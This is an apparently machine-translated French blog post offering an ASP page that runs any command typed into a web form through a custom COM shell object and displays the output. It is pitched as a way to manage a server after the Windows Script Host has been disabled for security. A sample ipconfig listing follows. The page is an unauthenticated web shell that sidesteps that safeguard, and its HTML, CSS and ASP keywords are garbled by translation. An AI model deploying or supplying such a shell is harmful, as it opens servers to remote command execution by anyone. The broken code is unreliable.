Parfois, lorsque nous gérons le serveur, nous désactivons l'hôte de script Windows pour la sécurité. Mais que se passe-t-il si nous voulons désactiver le WSH et utiliser notre propre washshell pour gérer la gestion du serveur? Voici une programmation de composants qui implémente CMD dans ASP et les résultats affichés. J'espère aider tout le monde.
||| t;
<! -
.Singleborder {
Border: 1px solide;
Color d'arrière-plan: # 000000;
Font-Family: Arial, Helvetica, Sans-Serif;
Couleur: #ffffff;
}
.Noborder {
Border: 1px Aucun;
Color d'arrière-plan: # 000000;
Font-Family: Arial, Helvetica, Sans-Serif;
Couleur: #ffffff;
}
Body {Coloraire: # 000000; Couleur: # 000000; Scrollbar-Track-Color: # 000000;
Font-Family: Fixys;
->
</ style>
<Formulaire d'action = méthode = post>
<entrée name = cmd class = singleborder value = <% = request.form (cmd)%> size = 102>
<input type = soumider class = singleborder value = execUte>
</ form>
<%
si request.form (cmd) <> alors
SET TESTME = Server.CreateObject (ASPCMD.CMDSHELL)
%>
<div class = NOBORDER> <% = request.form (cmd)%> </div> <br>
<TextArea Cols = 120 Rows = 30 Class = NOBORDER>
<% = testme.exec1 (request.form (cmd))%> </ textarea>
<% Set testme = rien
terminer si
%>
Ce qui suit est le résultat de l'exécution d'IPConfig / All:
Configuration IP de Windows 2000
Nom de l'hôte .........: ibm-wrk-02
Suffixe DNS primaire .......:
Type de nœud ..........: diffusion
Le routage IP activé .......: Non
WinS Proxy activé .......: Non
Adaptateur Ethernet Connexion locale:
Suffix DNS spécifique à la connexion. ::
Description ...........: Intel (R) Pro / 100 VM Network Connection
Adresse physique ........: 008-02-BD-D7-EB
DHCP activé .........: Non
Adresse IP ........ ..: 192.168.0.4
Masque de sous-réseau .........: 255.255.255.0
passerelle par défaut ..........: 192.168.0.1
Serveurs DNS .........: 202.106.196.115